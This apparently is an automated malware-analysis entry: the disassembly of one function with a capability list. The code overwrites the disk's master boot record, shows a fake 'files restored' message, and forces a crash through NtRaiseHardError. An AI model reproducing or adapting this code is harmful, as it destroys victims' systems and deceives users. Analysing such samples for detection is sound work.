Function at 0x404350
Capabilities:
Accept command line arguments
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406728
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40459b
push 0
push 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x18]
push eax
push 0x200
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x18], 0x200
jne 0x4045a9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004054d9
sub esp, 0x14
mov byte [ebp - 0x6d], 0
mov ecx, esp
mov dword [ebp - 0x18], esp
xorps xmm0, xmm0
push 0xa
movups xmmword [ecx], xmm0
push str.C:Windows
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00401a80
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
xorps xmm0, xmm0
push 0x1a
movups xmmword [ecx], xmm0
push str.C:_safefolderexplorer.exe
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00401a80
mov cl, byte [ebp - 0x6d]
mov dword [ebp - 4], 0xffffffff
call fcn.004020a0
add esp, 0x30
mov dword [ebp - 0x78], 0
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
lea ecx, [ebp - 0x88]
movups xmmword [ebp - 0x88], xmm0
push 0x17
push str.C:Windowsexplorer.exe
call fcn.00401a80
push 0x44
lea eax, [ebp - 0x6c]
mov dword [ebp - 4], 1
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x74], 7
lea eax, [ebp - 0x88]
xorps xmm0, xmm0
cmova eax, dword [ebp - 0x88]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
movups xmmword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4045ae
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x74]
cmp ecx, 7
jbe 0x404518
mov edx, dword [ebp - 0x88]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40450e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40450e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405714
add esp, 8
push 0x40
push str.Success
push str.Success__Your_files_have_been_restored._Press_OK_to_reboot_your_PC.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push str.ntdll.dll
call esi
mov edi, eax
test edi, edi
je 0x40457e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlAdjustPrivilege
push edi
call esi
lea ecx, [ebp - 0x11]
push ecx
push 0
push 1
push 0x13
call eax
push str.NtRaiseHardError
push edi
call esi
lea ecx, [ebp - 0x1c]
push ecx
push 6
push 0
push 0
push 0
push 0xdeadface
call eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004054cb
mov esp, ebp
pop ebp
ret
push edi
call fcn.004054d9
add esp, 4
call fcn.00401fd0
call fcn.00401fd0
call fcn.00401fd0
int3